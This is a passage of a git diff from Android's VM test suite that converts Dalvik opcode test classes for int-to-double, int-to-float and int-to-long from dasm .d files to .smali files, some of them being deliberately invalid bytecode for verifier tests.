@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_6.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       int-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.d
deleted file mode 100644
index 06b12b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_7.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       int-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.smali
new file mode 100644
index 0000000..1e33719
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_7.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       int-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.d
deleted file mode 100644
index 16b6f1a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_1.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       int-to-float v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.smali
new file mode 100644
index 0000000..a3459e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_1.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       int-to-float v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.d
deleted file mode 100644
index c2fdf91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_2.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       const-wide v0, 3.14
-       int-to-float v2, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.smali
new file mode 100644
index 0000000..c767da3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_2.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-float v2, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.d
deleted file mode 100644
index 4f16417..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_3.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       const-wide v0, 1234
-       int-to-float v2, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.smali
new file mode 100644
index 0000000..3ab33bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_3.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       const-wide v0, 1234
+       int-to-float v2, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.d
deleted file mode 100644
index e31d685d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_4.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       int-to-float v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.smali
new file mode 100644
index 0000000..c166713
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_4.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       int-to-float v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.d
deleted file mode 100644
index c5bd602..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_5.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)F
-.limit regs 5
-
-       int-to-float v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.smali
new file mode 100644
index 0000000..74a2688
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_5.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       int-to-float v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.d
deleted file mode 100644
index 37db947..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_6.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       int-to-float v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.smali
new file mode 100644
index 0000000..9a96392
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_6.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       int-to-float v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.d
deleted file mode 100644
index 4f91de2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_1.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       int-to-long v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.smali
new file mode 100644
index 0000000..c8de8a3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_1.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       int-to-long v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.d
deleted file mode 100644
index eab475b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_2.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       const-wide v4, 3.1415    
-
-       int-to-long v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.smali
new file mode 100644
index 0000000..04fee80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_2.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       const-wide v4, 3.1415    
+
+       int-to-long v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.d
deleted file mode 100644
index 05527d4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_3.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       const-wide v4, 123455    
-
-       int-to-long v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.smali
new file mode 100644
index 0000000..81bebb1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_3.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       const-wide v4, 123455    
+
+       int-to-long v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.d
deleted file mode 100644
index 9f26670..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_4.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 1
-
-       const v0, 1234
-       int-to-long v0, v0
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.smali
new file mode 100644
index 0000000..deddd82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_4.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 1
+
+       const v0, 1234
+       int-to-long v0, v0
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.d
deleted file mode 100644
index f006048..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_5.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       int-to-long v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.smali
new file mode 100644
index 0000000..130ab63
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_5.java"
